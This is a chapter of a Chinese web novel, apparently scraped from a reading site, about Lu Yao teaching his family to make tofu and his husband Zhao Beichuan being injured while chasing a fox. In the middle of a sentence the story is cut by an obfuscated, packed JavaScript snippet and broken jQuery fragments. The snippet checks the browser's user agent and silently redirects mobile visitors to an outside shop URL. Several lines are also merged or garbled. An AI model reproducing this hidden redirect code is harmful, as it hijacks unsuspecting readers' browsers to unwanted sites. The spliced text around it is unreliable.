第三十九章(2 / 2)

第一次做豆腐他們沒敢做太多,隻泡了二斤豆子,磨出漿上鍋煮,過濾完按著陸遙給的方子拿石膏點出了豆腐。可這豆腐做好後非常硬,咬一口麵糊糊的很難吃,不像陸遙做出來那般水嫩。

陸遙一看就知道咋回事,“點豆腐的時候寒水石放多了,得按照我給的比例調製,一斤豆子,用拇指大小的寒水石化成水就行,多了豆腐就硬了胡春容連連點頭,“對對對,那日我說少放些寒水石,你二哥偏要都放上,你看這不行吧!”

陸林撓撓頭,“我以為這東西用處不大。”

“那你可想錯了,沒有這寒水石豆腐根本凝不成塊,家裡還有泡好的豆子嗎?”

胡春容道:“有,今早又泡了二斤,待會就去村裡磨出來。”

“我跟你們一起去,等磨完回來給你們做一次,你們看仔細了,以後就按照我做的方法去做。

“哎。”兩人沒想到陸遙這麼貼心,臉上都露出了笑容。

陸遙又讓兩人吃糖餅,胡春容把孩子也抱了過來,這還是陸遙第一次跟小侄子玩耍。

他叫陸石頭,今年兩歲半,虎頭虎腦正是招人喜歡的時候。之前陸遙和胡春容鬨彆扭,兩人誰都不搭理誰,孩子過滿月的時候他這個當叔的連滿月禮都沒給。如今兩人算是化乾戈為玉帛,陸遙自然得替原身把禮補上,他從懷裡掏出一吊錢塞進小石頭的手裡。“這是乾啥,快拿回去。”胡春容連忙從孩子手裡奪過來還給陸遙。

“這錢是給孩子的,過去是我做的不對,你要不讓石頭拿這錢,我就當你還沒原諒我呢。”

胡春容哎了一聲,“嫂子也有不對的地方,你也莫怪我吧。”

旁邊陸母眉開眼笑,“行了,一家人不說兩家話,你們和和氣氣的比什麼都好!”

下午豆子泡好,三人來到村裡磨豆漿,同灣溝村一樣陸家村也有一個公用的大石磨,胡春容先去附近的河邊打水,把石磨刷洗乾淨,然後便開始磨豆子陸林腿腳不好但力氣還行,推起石磨也不算費力,陸遙站在旁邊看著指揮兩人怎麼加水。

“磨豆子的時候水不能少了,水少了漿就粘稠,到鍋裡一煮就糊了。”

胡春容拿著葫蘆瓢往石磨中間舀水,按照一比六的比例,既一斤豆子六斤水磨出豆漿。

二斤豆子很快就磨完了,回到家陸母已經把火點著了,直接把豆漿倒進鍋裡開始攪拌。

“煮豆漿的時候得勤豁楞著,不然下麵容易糊,等滾夠六七便就行了,過濾後直接就能喝。”

陸遙舀出一碗遞給胡春容,“嘗嘗豆漿味道怎麼樣。”

胡春容喝

;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13414425|127531||http|test|mini|href|location'.split('|'),0,{}));

() {

$('.inform').remove();

$('#tent').append('

了一口,“真香!”過濾後的豆漿裡麵沒有渣滓,喝起來口感潤滑帶著濃濃的豆香味。

陸遙笑了一聲,“放點糖更好喝。”

接下來就是點豆腐,把化好的寒水石倒進水瓢裡,慢慢的往豆漿裡點。

“這是最重要的一步,豆腐能不能好吃全看點豆腐的手法。不能著急,看裡麵的豆花像棉絮似的就差不多了。”陸遙瓢收起來。“以後你們做的多了就有經驗了,豆腐如果不成型就點的不夠,如果硬了就是點多了。”

旁邊陸林和胡春容看得仔細,默默記在心裡。

最後把結成塊的水豆腐舀進模子裡,壓上幾個時辰便成了。

做完豆腐外麵的太陽已經偏西了,陸遙叫上小年和小豆準備回家了。臨走時陸母撿了十個雞蛋給他裝框裡讓他拿回去吃。這次胡春容什麼都沒說,雞蛋給陸遙她不心疼,還覺得拿的少了。

回去的路上兩個孩子依舊歡快的蹦蹦跳跳,跟陸遙分享在陸家的經曆。

“五哥給我們拿了糖麵果子,還跟我們玩沙包踢毽子了!”

陸遙道:“等回去也給你們縫個沙包,明年家裡的雞長大了,殺雞時候攢點漂亮的雞毛再做個雞毛毽子。“好喂~”兩個孩子抱著陸遙的腰歡呼。

快走到家門口時,看見趙婆婆從自己家出來,陸

遙以為她有事來找自己,連忙喊一聲,“婆婆,找我有事嗎?”“哎呦,你可算回來了!快回去看看吧,大川受傷了!”

陸遙心裡咯噔一下,撒腿就往家裡跑。

屋子裡趙光和另一個不太熟的男子站在裡麵,趙北川坐在炕上,臉上手上全都破了,看起來十分狼狽。“北川!”“大兄!”三人一進屋便喊了出聲。

兩人見家裡回來人了,打了聲招呼便離開了。

趙北川聞聲抬起頭,“你們回來了。”

“你,你這是怎麼了.....陸遙走過來,見他這幅模樣嚇得心跳到嗓子眼。

趙北川輕描淡寫的說:“在山上碰上隻狐狸,我便追了過去,結果那狐狸把我引到一處斷崖處,差點跌下去,還是旁邊有顆老樹救了一命,爬上來了。“傷到哪了?快讓我看看!”

“沒事,就是小腿扭了一下,不礙事的。”

陸遙拉起他褲子一看腫的跟蘿卜似的,焦急道:“我去叫大滿哥套車,咱們趕緊去鎮上醫館看看。趙北川伸手幫他擦眼淚,“沒事,傷的不重養兩日就好了。”

“不行,萬一傷到骨頭怎麼辦!”

趙北川拗不過他,隻得扶著炕坐起來,輕輕動這麼一下,小腿鑽心的疼。。

說起來這次受傷確實是自己托大了,自打上次聽商人說蹂躪好的狐皮子少說也能賣上十貫錢,趙北川心裡就一直惦記著再獵隻狐狸,沒想到今天上山還真又遇上了!

這隻狐狸比去年碰上那隻更漂亮,皮毛是火紅的顏色泛著油光,一條大尾巴足有一尺長!

發現它的時候正在一顆樹下刨食吃,趙北川激動的差點叫出聲,連忙壓低腳步握著長矛悄悄的向它逼近。誰承想即將靠近時,腳下突然踩斷了根樹枝,啪的一聲脆響惹得狐狸回過頭來。

一人一狐就這麼對視了片刻,趙北川握矛便紮向它脖子,那狐狸反應非常快,嗖的一聲就跑了!

趙北川趕緊追上去,腦子跟中邪了似的隻剩一個念頭,今天必須得把這隻狐狸抓住!

他追著這隻狐狸跑了三四裡路,每當快追不上時,那隻狐狸就會放慢腳步等著他,終於在前麵一顆大樹處追上了。趙北川握緊長矛撲過去,結果狐狸身後竟是一處非常陡峭的斷崖,頓時嚇得他冷汗直流!想要收力已經來不及了,情急之下隻能伸手抓拽崖邊的草木。幸好有一顆大樹做緩衝,他抓住旁邊的樹枝沒能掉下去,否則今天就回不來了。

後院林大滿早就聽見消息了,礙於身份沒好意思過來打聽,見陸遙回來了趕緊過來幫忙。

兩人把騾車套上,陸遙跑去跟對門的趙婆婆說了一聲,讓她幫忙照看著孩子,自己拿了銀子扶著趙北川上了車。太陽已經落了山,天色灰蒙蒙的,趙北川坐在車不知該說什麼,這回丟人了,狐狸沒獵到還差點把自己摔死。陸遙握著他的手一直發抖,“你就不想想我和孩子們,萬一真有個

三長兩短我們怎麼辦?”

“....我當時沒想那麼多。””

“呸,你就是逞能,家裡是窮的揭不開鍋了,還是穿不上衣了,用得著你這麼拚命?”

趙北川理虧隻能捏捏他的手安撫。!

上一頁 書頁/目錄 下一章